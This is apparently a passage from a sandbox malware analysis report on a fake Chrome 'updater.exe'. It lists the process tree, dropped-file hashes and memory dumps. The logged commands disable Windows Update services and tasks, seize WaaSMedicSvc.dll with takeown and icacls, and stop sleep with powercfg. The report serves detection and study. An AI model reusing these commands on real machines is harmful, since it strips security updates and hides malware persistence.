HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE7⤵
-
C:\Windows\system32\sc.exesc stop wuauserv8⤵
-
C:\Windows\system32\sc.exesc stop bits8⤵
-
C:\Windows\system32\sc.exesc stop dosvc8⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc8⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc8⤵
-
C:\Windows\system32\sc.exesc config wuauserv start= disabled8⤵
-
C:\Windows\system32\sc.exesc failure wuauserv reset= 0 actions= ""8⤵
-
C:\Windows\system32\sc.exesc config bits start= disabled8⤵
-
C:\Windows\system32\sc.exesc failure bits reset= 0 actions= ""8⤵
-
C:\Windows\system32\sc.exesc config dosvc start= disabled8⤵
-
C:\Windows\system32\sc.exesc failure dosvc reset= 0 actions= ""8⤵
-
C:\Windows\system32\sc.exesc config UsoSvc start= disabled8⤵
-
C:\Windows\system32\sc.exesc failure UsoSvc reset= 0 actions= ""8⤵
-
C:\Windows\system32\sc.exesc config wuauserv start= disabled8⤵
-
C:\Windows\system32\sc.exesc failure wuauserv reset= 0 actions= ""8⤵
-
C:\Windows\system32\takeown.exetakeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f8⤵
-
C:\Windows\system32\reg.exereg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f8⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f8⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f8⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f8⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE8⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 07⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 08⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 08⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 08⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 08⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe7⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "fuljhipnixrs"8⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1235216285-17481519796525988251090482561329627408-891649471-93506122667644597"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-16587682591979942943-9153801212099621825-11118662631650409571687258222-586245067"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1439334932-115771309094871624388448614-285824623-2110871029-66494881543513245"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "21387137201439559279-1025508788-1005846101-1821070085-822745704-913150316-1603537163"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exeFilesize
2.2MB
MD540caa9b00badca24594571e157a6d2a9
SHA142f2faf2aa59f38c16824eaa1dc022fddb142565
SHA2567b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442
SHA512e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3
-
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exeFilesize
2.2MB
MD540caa9b00badca24594571e157a6d2a9
SHA142f2faf2aa59f38c16824eaa1dc022fddb142565
SHA2567b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442
SHA512e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD599a4b5aac897023fee145b366fa2ddde
SHA1b80861232a12cdd385a136a33029aec6102286b1
SHA256193a1989edcbf85076bf29d7982f0a1ec59f5f08698b9cfa85095a73b152bb8e
SHA5129d9603af8322a876f0d7f999b764fe31bc8529f0861a67cf4f543b7548ddd2149290daa8067a1a19103020811181785a16246b459b6aa1b7a7cdf993005305dd
-
C:\Windows\Tasks\dialersvc32.jobFilesize
564B
MD5aa0b9f108a1f91b20b74cf69348662fd
SHA163f2cedea1360d511b1eb8644b0e64231087fdea
SHA2561dd7311f15789bde3d4045d18f7636c8f1c809afe945d19792985d2e0330da10
SHA512fd3a96ba9d26e75a04a8ea3a0aa1df8f4906da1bf4a6cd64f1fdc50a72a31dcd80672773b36e22733e30209c19f2b3e117ebc6979d04b8169cb7eb423974bdca
-
\Users\Admin\AppData\Local\Temp\Chrome\updater.exeFilesize
2.2MB
MD540caa9b00badca24594571e157a6d2a9
SHA142f2faf2aa59f38c16824eaa1dc022fddb142565
SHA2567b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442
SHA512e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3
-
memory/268-64-0x0000000000000000-mapping.dmp
-
memory/280-70-0x0000000000000000-mapping.dmp
-
memory/280-312-0x0000000000000000-mapping.dmp
-
memory/300-258-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/300-256-0x0000000000AA0000-0x0000000000ACA000-memory.dmpFilesize
168KB
-
memory/416-142-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/416-143-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/416-140-0x0000000000940000-0x0000000000963000-memory.dmpFilesize
140KB
-
memory/416-158-0x0000000000970000-0x000000000099A000-memory.dmpFilesize
168KB
-
memory/416-151-0x0000000000940000-0x0000000000963000-memory.dmpFilesize
140KB
-
memory/460-149-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/460-147-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/460-161-0x0000000000240000-0x000000000026A000-memory.dmpFilesize
168KB
-
memory/476-152-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/476-154-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/476-168-0x00000000001C0000-0x00000000001EA000-memory.dmpFilesize
168KB
-
memory/484-163-0x0000000000350000-0x000000000037A000-memory.dmpFilesize
168KB
-
memory/484-165-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/484-162-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/520-105-0x0000000000000000-mapping.dmp
-
memory/576-171-0x00000000004B0000-0x00000000004DA000-memory.dmpFilesize
168KB
-
memory/576-172-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/576-169-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/584-254-0x0000000000990000-0x00000000009BA000-memory.dmpFilesize
168KB
-
memory/628-330-0x0000000000000000-mapping.dmp
-
memory/652-375-0x0000000000000000-mapping.dmp
-
memory/656-175-0x00000000003F0000-0x000000000041A000-memory.dmpFilesize
168KB
-
memory/656-177-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/656-174-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/676-109-0x0000000000000000-mapping.dmp
-
memory/676-69-0x0000000000000000-mapping.dmp
-
memory/684-391-0x0000000000000000-mapping.dmp
-
memory/684-98-0x0000000000000000-mapping.dmp
-
memory/732-111-0x0000000000000000-mapping.dmp
-
memory/736-185-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/736-241-0x00000000009A0000-0x00000000009CA000-memory.dmpFilesize
168KB
-
memory/736-184-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/748-290-0x00000000007D0000-0x00000000007FA000-memory.dmpFilesize
168KB
-
memory/748-291-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/800-183-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/800-182-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/800-232-0x00000000008B0000-0x00000000008DA000-memory.dmpFilesize
168KB
-
memory/816-101-0x0000000000000000-mapping.dmp
-
memory/828-188-0x000007FEBEDA0000-0x000007FEBEDB0000-memory.dmpFilesize
64KB
-
memory/828-245-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/828-243-0x0000000000230000-0x000000000025A000-memory.dmpFilesize
168KB
-
memory/848-287-0x0000000000320000-0x000000000034A000-memory.dmpFilesize
168KB
-
memory/848-288-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/860-96-0x0000000000000000-mapping.dmp
-
memory/868-255-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/868-247-0x0000000000A80000-0x0000000000AAA000-memory.dmpFilesize
168KB
-
memory/892-121-0x0000000000000000-mapping.dmp
-
memory/892-123-0x0000000075B61000-0x0000000075B63000-memory.dmpFilesize
8KB
-
memory/892-137-0x0000000074460000-0x0000000074A0B000-memory.dmpFilesize
5.7MB
-
memory/892-345-0x0000000000000000-mapping.dmp
-
memory/896-282-0x0000000001B50000-0x0000000001B7A000-memory.dmpFilesize
168KB
-
memory/896-284-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/924-261-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/924-260-0x0000000000360000-0x000000000038A000-memory.dmpFilesize
168KB
-
memory/936-342-0x0000000000000000-mapping.dmp
-
memory/992-72-0x0000000000000000-mapping.dmp
-
memory/1012-66-0x0000000000000000-mapping.dmp
-
memory/1040-81-0x0000000000000000-mapping.dmp
-
memory/1044-77-0x0000000000000000-mapping.dmp
-
memory/1080-263-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1080-262-0x0000000000480000-0x00000000004AA000-memory.dmpFilesize
168KB
-
memory/1108-267-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1108-265-0x0000000001E10000-0x0000000001E3A000-memory.dmpFilesize
168KB
-
memory/1116-107-0x0000000000000000-mapping.dmp
-
memory/1116-67-0x0000000000000000-mapping.dmp
-
memory/1164-360-0x0000000000000000-mapping.dmp
-
memory/1172-269-0x0000000000250000-0x000000000027A000-memory.dmpFilesize
168KB
-
memory/1172-279-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1196-207-0x0000000000000000-mapping.dmp
-
memory/1196-278-0x0000000000350000-0x000000000037A000-memory.dmpFilesize
168KB
-
memory/1196-65-0x0000000000000000-mapping.dmp
-
memory/1204-286-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1204-285-0x0000000002970000-0x000000000299A000-memory.dmpFilesize
168KB
-
memory/1240-68-0x0000000000000000-mapping.dmp
-
memory/1268-62-0x0000000001F94000-0x0000000001F97000-memory.dmpFilesize
12KB
-
memory/1268-61-0x000007FEED550000-0x000007FEEE0AD000-memory.dmpFilesize
11.4MB
-
memory/1268-349-0x0000000000000000-mapping.dmp
-
memory/1268-63-0x0000000001F9B000-0x0000000001FBA000-memory.dmpFilesize
124KB
-
memory/1268-59-0x0000000000000000-mapping.dmp
-
memory/1304-104-0x0000000000000000-mapping.dmp
-
memory/1356-99-0x0000000000000000-mapping.dmp
-
memory/1360-249-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1360-251-0x00000000007C0000-0x00000000007EA000-memory.dmpFilesize
168KB
-
memory/1396-102-0x0000000000000000-mapping.dmp
-
memory/1432-118-0x0000000000000000-mapping.dmp
-
memory/1488-350-0x0000000000000000-mapping.dmp
-
memory/1488-87-0x0000000000000000-mapping.dmp
-
memory/1536-116-0x0000000000000000-mapping.dmp
-
memory/1536-73-0x0000000000000000-mapping.dmp
-
memory/1564-322-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1564-318-0x0000000000600000-0x000000000062A000-memory.dmpFilesize
168KB
-
memory/1564-303-0x0000000000000000-mapping.dmp
-
memory/1572-91-0x0000000000000000-mapping.dmp
-
memory/1600-252-0x0000000000220000-0x000000000024A000-memory.dmpFilesize
168KB
-
memory/1600-131-0x0000000140000000-0x0000000140040000-memory.dmpFilesize
256KB
-
memory/1600-136-0x0000000077620000-0x000000007773F000-memory.dmpFilesize
1.1MB
-
memory/1600-100-0x0000000000000000-mapping.dmp
-
memory/1600-135-0x0000000077840000-0x00000000779E9000-memory.dmpFilesize
1.7MB
-
memory/1600-134-0x0000000140000000-0x0000000140040000-memory.dmpFilesize
256KB
-
memory/1600-138-0x0000000140000000-0x0000000140040000-memory.dmpFilesize
256KB
-
memory/1600-139-0x0000000077840000-0x00000000779E9000-memory.dmpFilesize
1.7MB
-
memory/1600-132-0x00000001400024C8-mapping.dmp
-
memory/1684-84-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-85-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-86-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-90-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-106-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-88-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-95-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-93-0x0000000140002348-mapping.dmp
-
memory/1684-78-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-82-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-79-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1684-92-0x0000000140000000-0x0000000140057000-memory.dmpFilesize
348KB
-
memory/1728-314-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1728-311-0x0000000000000000-mapping.dmp
-
memory/1728-313-0x0000000000130000-0x000000000015A000-memory.dmpFilesize
168KB
-
memory/1740-58-0x0000000000000000-mapping.dmp
-
memory/1784-293-0x000000001B010000-0x000000001B03A000-memory.dmpFilesize
168KB
-
memory/1784-289-0x00000000024E4000-0x00000000024E7000-memory.dmpFilesize
12KB
-
memory/1784-219-0x0000000000000000-mapping.dmp
-
memory/1784-292-0x00000000024EB000-0x000000000250A000-memory.dmpFilesize
124KB
-
memory/1788-110-0x0000000000000000-mapping.dmp
-
memory/1796-115-0x0000000000000000-mapping.dmp
-
memory/1800-239-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1800-236-0x00000000003B0000-0x00000000003DA000-memory.dmpFilesize
168KB
-
memory/1828-307-0x0000000000000000-mapping.dmp
-
memory/1860-108-0x0000000000000000-mapping.dmp
-
memory/1868-402-0x0000000000000000-mapping.dmp
-
memory/1912-117-0x0000000000000000-mapping.dmp
-
memory/1912-386-0x0000000000401BEA-mapping.dmp
-
memory/1912-76-0x0000000000000000-mapping.dmp
-
memory/1924-55-0x0000000000210000-0x000000000044B000-memory.dmpFilesize
2.2MB
-
memory/1924-57-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmpFilesize
8KB
-
memory/1924-56-0x000000001B0C0000-0x000000001B2E4000-memory.dmpFilesize
2.1MB
-
memory/1924-54-0x000000001B300000-0x000000001B53C000-memory.dmpFilesize
2.2MB
-
memory/1924-75-0x00000000021C0000-0x00000000021C6000-memory.dmpFilesize
24KB
-
memory/1952-74-0x0000000000000000-mapping.dmp
-
memory/1952-275-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/1952-272-0x000000001AC30000-0x000000001AC5A000-memory.dmpFilesize
168KB
-
memory/1960-113-0x0000000000000000-mapping.dmp
-
memory/1972-316-0x0000000000000000-mapping.dmp
-
memory/1972-71-0x0000000000000000-mapping.dmp
-
memory/1980-114-0x0000000000000000-mapping.dmp
-
memory/1988-156-0x0000000000000000-mapping.dmp
-
memory/2004-112-0x0000000000000000-mapping.dmp
-
memory/2008-128-0x000000000094B000-0x000000000096A000-memory.dmpFilesize
124KB
-
memory/2008-127-0x0000000000944000-0x0000000000947000-memory.dmpFilesize
12KB
-
memory/2008-125-0x0000000077840000-0x00000000779E9000-memory.dmpFilesize
1.7MB
-
memory/2008-124-0x000007FEED0A0000-0x000007FEEDBFD000-memory.dmpFilesize
11.4MB
-
memory/2008-129-0x0000000077840000-0x00000000779E9000-memory.dmpFilesize
1.7MB
-
memory/2008-120-0x0000000000000000-mapping.dmp
-
memory/2008-130-0x0000000077620000-0x000000007773F000-memory.dmpFilesize
1.1MB
-
memory/2020-153-0x0000000000000000-mapping.dmp
-
memory/2020-323-0x0000000000000000-mapping.dmp
-
memory/2020-320-0x0000000037880000-0x0000000037890000-memory.dmpFilesize
64KB
-
memory/2028-119-0x0000000000000000-mapping.dmp
-
memory/2032-103-0x0000000000000000-mapping.dmp